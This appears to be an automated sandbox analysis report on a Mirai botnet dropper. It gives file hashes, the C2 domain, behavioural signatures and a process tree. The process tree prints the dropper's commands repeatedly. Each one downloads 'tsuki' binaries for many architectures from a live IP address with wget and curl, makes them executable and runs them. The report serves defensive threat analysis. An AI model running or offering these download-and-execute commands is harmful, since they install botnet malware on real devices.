Analysis

  • max time kernel
    48s
  • max time network
    50s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    22-07-2024 00:17

General

  • Target

    95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae

  • Size

    2KB

  • MD5

    0cfdd05ea2bb11d74b3ce3b95fc29421

  • SHA1

    665cc6ba414b286da9c1a41a618d843275fa53cc

  • SHA256

    95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae

  • SHA512

    8a0baf4405ad2462a4a735d4a2a84d8d0b9ef10b72261716e0afb985f280d93aac4f5e8e40a6da0d330264813a077f3a4216df862821022d2f9c3ea90147c120

Score
10/10

Malware Config

Extracted

Family

mirai

Botnet

MIRAI

C2

whois.hopto.org

Extracted

Family

mirai

Botnet

MIRAI

C2

whois.hopto.org

Extracted

Family

mirai

Botnet

MIRAI

C2

whois.hopto.org

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Executes dropped EXE 13 IoCs
  • Reads runtime system information 13 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 22 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae
    /tmp/95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae
    1⤵
    • Writes file to tmp directory
    PID:705
    • /usr/bin/wget
      wget http://176.123.2.219/bins/tsuki.x86
      2⤵
      • Writes file to tmp directory
      PID:709
    • /usr/bin/curl
      curl -O http://176.123.2.219/bins/tsuki.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:730
    • /bin/cat
      cat tsuki.x86
      2⤵
        PID:734
      • /bin/chmod
        chmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae systemd-private-c985af6e81ad42d18f9a4e3b7f1a966c-systemd-timedated.service-t4QlXg tsuki tsuki.x86
        2⤵
          PID:735
        • /tmp/tsuki
          ./tsuki payload
          2⤵
          • Executes dropped EXE
          PID:736
        • /usr/bin/wget
          wget http://176.123.2.219/bins/tsuki.mips
          2⤵
          • Writes file to tmp directory
          PID:738
        • /usr/bin/curl
          curl -O http://176.123.2.219/bins/tsuki.mips
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:739
        • /bin/cat
          cat tsuki.mips
          2⤵
            PID:740
          • /bin/chmod
            chmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae systemd-private-c985af6e81ad42d18f9a4e3b7f1a966c-systemd-timedated.service-t4QlXg tsuki tsuki.mips tsuki.x86
            2⤵
              PID:741
            • /tmp/tsuki
              ./tsuki payload
              2⤵
              • Executes dropped EXE
              PID:742
            • /usr/bin/wget
              wget http://176.123.2.219/bins/tsuki.mpsl
              2⤵
              • Writes file to tmp directory
              PID:744
            • /usr/bin/curl
              curl -O http://176.123.2.219/bins/tsuki.mpsl
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:745
            • /bin/cat
              cat tsuki.mpsl
              2⤵
                PID:762
              • /bin/chmod
                chmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae systemd-private-c985af6e81ad42d18f9a4e3b7f1a966c-systemd-timedated.service-t4QlXg tsuki tsuki.mips tsuki.mpsl tsuki.x86
                2⤵
                  PID:763
                • /tmp/tsuki
                  ./tsuki payload
                  2⤵
                  • Executes dropped EXE
                  PID:764
                • /usr/bin/wget
                  wget http://176.123.2.219/bins/tsuki.arm
                  2⤵
                  • Writes file to tmp directory
                  PID:766
                • /usr/bin/curl
                  curl -O http://176.123.2.219/bins/tsuki.arm
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:778
                • /bin/cat
                  cat tsuki.arm
                  2⤵
                    PID:796
                  • /bin/chmod
                    chmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae systemd-private-c985af6e81ad42d18f9a4e3b7f1a966c-systemd-timedated.service-t4QlXg tsuki tsuki.arm tsuki.mips tsuki.mpsl tsuki.x86
                    2⤵
                      PID:797
                    • /tmp/tsuki
                      ./tsuki payload
                      2⤵
                      • Executes dropped EXE
                      PID:798
                    • /usr/bin/wget
                      wget http://176.123.2.219/bins/tsuki.arm5
                      2⤵
                        PID:800
                      • /usr/bin/curl
                        curl -O http://176.123.2.219/bins/tsuki.arm5
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:801
                      • /bin/cat
                        cat tsuki.arm5
                        2⤵
                          PID:802
                        • /bin/chmod
                          chmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae systemd-private-c985af6e81ad42d18f9a4e3b7f1a966c-systemd-timedated.service-t4QlXg tsuki tsuki.arm tsuki.arm5 tsuki.mips tsuki.mpsl tsuki.x86
                          2⤵
                            PID:803
                          • /tmp/tsuki
                            ./tsuki payload
                            2⤵
                            • Executes dropped EXE
                            PID:804
                          • /usr/bin/wget
                            wget http://176.123.2.219/bins/tsuki.arm6
                            2⤵
                              PID:805
                            • /usr/bin/curl
                              curl -O http://176.123.2.219/bins/tsuki.arm6
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:806
                            • /bin/cat
                              cat tsuki.arm6
                              2⤵
                                PID:807
                              • /bin/chmod
                                chmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae systemd-private-c985af6e81ad42d18f9a4e3b7f1a966c-systemd-timedated.service-t4QlXg tsuki tsuki.arm tsuki.arm5 tsuki.arm6 tsuki.mips tsuki.mpsl tsuki.x86
                                2⤵
                                  PID:808
                                • /tmp/tsuki
                                  ./tsuki payload
                                  2⤵
                                  • Executes dropped EXE
                                  PID:809
                                • /usr/bin/wget
                                  wget http://176.123.2.219/bins/tsuki.arm7
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:810
                                • /usr/bin/curl
                                  curl -O http://176.123.2.219/bins/tsuki.arm7
                                  2⤵
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:844
                                • /bin/cat
                                  cat tsuki.arm7
                                  2⤵
                                    PID:845
                                  • /bin/chmod
                                    chmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae tsuki tsuki.arm tsuki.arm5 tsuki.arm6 tsuki.arm7 tsuki.mips tsuki.mpsl tsuki.x86
                                    2⤵
                                      PID:846
                                    • /tmp/tsuki
                                      ./tsuki payload
                                      2⤵
                                      • Executes dropped EXE
                                      PID:847
                                    • /usr/bin/wget
                                      wget http://176.123.2.219/bins/tsuki.ppc
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:849
                                    • /usr/bin/curl
                                      curl -O http://176.123.2.219/bins/tsuki.ppc
                                      2⤵
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:850
                                    • /bin/cat
                                      cat tsuki.ppc
                                      2⤵
                                        PID:851
                                      • /bin/chmod
                                        chmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae tsuki tsuki.arm tsuki.arm5 tsuki.arm6 tsuki.arm7 tsuki.mips tsuki.mpsl tsuki.ppc tsuki.x86
                                        2⤵
                                          PID:852
                                        • /tmp/tsuki
                                          ./tsuki payload
                                          2⤵
                                          • Executes dropped EXE
                                          PID:853
                                        • /usr/bin/wget
                                          wget http://176.123.2.219/bins/tsuki.m68k
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:855
                                        • /usr/bin/curl
                                          curl -O http://176.123.2.219/bins/tsuki.m68k
                                          2⤵
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:856
                                        • /bin/cat
                                          cat tsuki.m68k
                                          2⤵
                                            PID:857
                                          • /bin/chmod
                                            chmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae tsuki tsuki.arm tsuki.arm5 tsuki.arm6 tsuki.arm7 tsuki.m68k tsuki.mips tsuki.mpsl tsuki.ppc tsuki.x86
                                            2⤵
                                              PID:858
                                            • /tmp/tsuki
                                              ./tsuki payload
                                              2⤵
                                              • Executes dropped EXE
                                              PID:859
                                            • /usr/bin/wget
                                              wget http://176.123.2.219/bins/tsuki.spc
                                              2⤵
                                                PID:861
                                              • /usr/bin/curl
                                                curl -O http://176.123.2.219/bins/tsuki.spc
                                                2⤵
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:862
                                              • /bin/cat
                                                cat tsuki.spc
                                                2⤵
                                                  PID:863
                                                • /bin/chmod
                                                  chmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae tsuki tsuki.arm tsuki.arm5 tsuki.arm6 tsuki.arm7 tsuki.m68k tsuki.mips tsuki.mpsl tsuki.ppc tsuki.spc tsuki.x86
                                                  2⤵
                                                    PID:864
                                                  • /tmp/tsuki
                                                    ./tsuki payload
                                                    2⤵
                                                    • Executes dropped EXE
                                                    PID:865
                                                  • /usr/bin/wget
                                                    wget http://176.123.2.219/bins/tsuki.i686
                                                    2⤵
                                                      PID:866
                                                    • /usr/bin/curl
                                                      curl -O http://176.123.2.219/bins/tsuki.i686
                                                      2⤵
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:867
                                                    • /bin/cat
                                                      cat tsuki.i686
                                                      2⤵
                                                        PID:868
                                                      • /bin/chmod
                                                        chmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae tsuki tsuki.arm tsuki.arm5 tsuki.arm6 tsuki.arm7 tsuki.i686 tsuki.m68k tsuki.mips tsuki.mpsl tsuki.ppc tsuki.spc tsuki.x86
                                                        2⤵
                                                          PID:869
                                                        • /tmp/tsuki
                                                          ./tsuki payload
                                                          2⤵
                                                          • Executes dropped EXE
                                                          PID:870
                                                        • /usr/bin/wget
                                                          wget http://176.123.2.219/bins/tsuki.sh4
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:871
                                                        • /usr/bin/curl
                                                          curl -O http://176.123.2.219/bins/tsuki.sh4
                                                          2⤵
                                                          • Reads runtime system information
                                                          • Writes file to tmp directory
                                                          PID:875
                                                        • /bin/cat
                                                          cat tsuki.sh4
                                                          2⤵
                                                            PID:876
                                                          • /bin/chmod
                                                            chmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae tsuki tsuki.arm tsuki.arm5 tsuki.arm6 tsuki.arm7 tsuki.i686 tsuki.m68k tsuki.mips tsuki.mpsl tsuki.ppc tsuki.sh4 tsuki.spc tsuki.x86
                                                            2⤵
                                                              PID:877
                                                            • /tmp/tsuki
                                                              ./tsuki payload
                                                              2⤵
                                                              • Executes dropped EXE
                                                              PID:878
                                                            • /usr/bin/wget
                                                              wget http://176.123.2.219/bins/tsuki.arc
                                                              2⤵
                                                                PID:880
                                                              • /usr/bin/curl
                                                                curl -O http://176.123.2.219/bins/tsuki.arc
                                                                2⤵
                                                                • Reads runtime system information
                                                                • Writes file to tmp directory
                                                                PID:881
                                                              • /bin/cat
                                                                cat tsuki.arc
                                                                2⤵
                                                                  PID:882
                                                                • /bin/chmod
                                                                  chmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae tsuki tsuki.arc tsuki.arm tsuki.arm5 tsuki.arm6 tsuki.arm7 tsuki.i686 tsuki.m68k tsuki.mips tsuki.mpsl tsuki.ppc tsuki.sh4 tsuki.spc tsuki.x86
                                                                  2⤵
                                                                    PID:883
                                                                  • /tmp/tsuki
                                                                    ./tsuki payload
                                                                    2⤵
                                                                    • Executes dropped EXE
                                                                    PID:884

                                                                Network

                                                                MITRE ATT&CK Matrix

                                                                Replay Monitor

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                                                                Downloads

                                                                • /tmp/tsuki
                                                                  Filesize

                                                                  98KB

                                                                  MD5

                                                                  6cf78b3572c325d809ad4677c2ebd6a2

                                                                  SHA1

                                                                  be2f27c2b001f981344e52333568cb0dc7ffe7ad

                                                                  SHA256

                                                                  c6603610d98124953b9b6e4355611cb0588507a8a003aff36771937b43e2acd0

                                                                  SHA512

                                                                  bcb15e53b55134cefcf8de2c0fd28fee6154dc63bc053007f581cec3bc024052b663eed5ce2f3eea3c3b7749d2f4e7a5b0ed013c489bc1c28755d82bebea8a24

                                                                • /tmp/tsuki
                                                                  Filesize

                                                                  99KB

                                                                  MD5

                                                                  2cf4b7e9a6fa11dbff627fc7aeee3f97

                                                                  SHA1

                                                                  0cbc6d981a4d7ce2650ebe9aba5ec89a8377fefb

                                                                  SHA256

                                                                  eb2c0d50d32ebf8d18e82dd780c2432f4010e5dd8f0cc84c04a10f03f8399a6d

                                                                  SHA512

                                                                  18272662786616a679ed85164c4fa7fe2a865f8c4eedde57403f8fd197c34b356ff3a62155ea9069f2e1f172c4545c29db4c3144c9932f90bdea5a4f14141f57

                                                                • /tmp/tsuki
                                                                  Filesize

                                                                  90KB

                                                                  MD5

                                                                  3cd8418ac8f414def6727fe141d328b9

                                                                  SHA1

                                                                  dc61b74e9e08ff3208ee96a6c94f8247e6196b99

                                                                  SHA256

                                                                  cbe3077abc42c9e725ee561b8e369c9e5b3819d762d8fa9889b27c1e10dfb8b3

                                                                  SHA512

                                                                  98d72d05b5b65fac98ed3b448ebf73786040da5aebbe56c060781f78638e75e62ad8801618874c4c17c13cd59bab93f58a31b565a350ac118257d2a0a21409b9

                                                                • /tmp/tsuki
                                                                  Filesize

                                                                  213B

                                                                  MD5

                                                                  eeed291445ee3e6bac53540dfd6cd91c

                                                                  SHA1

                                                                  afc1907c25cf19a1ecf3e83fcd1f7cc72d085f41

                                                                  SHA256

                                                                  43953e23b49d467cd6b2e40603c2465769cd1620706ef52fecc71777f9964f78

                                                                  SHA512

                                                                  ee610ac06ef742dbf5b616c72b30a32b64a2873272cbf297367de20563bf405b183842fb5e2012f29d5ee11e6ee10e97a90ec915ffb659f22439f7c1ca21d283

                                                                • /tmp/tsuki
                                                                  Filesize

                                                                  164KB

                                                                  MD5

                                                                  adf30c84e4d1a741bb51593fa750d624

                                                                  SHA1

                                                                  ca52225d16c403e9e6ab662e8dab63496281945d

                                                                  SHA256

                                                                  96de1caeeddeba6420add3efbba3e360a13b9956a32be4ee1d4464129154e806

                                                                  SHA512

                                                                  9ce9154a018aa53c49403c1919cb223f066821a22a9692cbb1defd185098842d8ded4f0a3f17cd6017367ea1357c41295c9f199d1148998f7283f511244db846

                                                                • /tmp/tsuki.x86
                                                                  Filesize

                                                                  76KB

                                                                  MD5

                                                                  f60ada8b79c2232773b9c08868c1c5fb

                                                                  SHA1

                                                                  8752a84f5cc638e0a87ffa7bb28d4a9661fcbefa

                                                                  SHA256

                                                                  2d1fd93daf8cadaf775a8cd4e21f8b7b1759442bd260eb6dde3aee319adae117

                                                                  SHA512

                                                                  71fe4806ac06da9a8d704bbabcc7dc7d0d7e087b420ea81923c888f0f8836b455e790899504729611e883e597a31c5eb7298c4cd5f442117cc799f98102eb9e8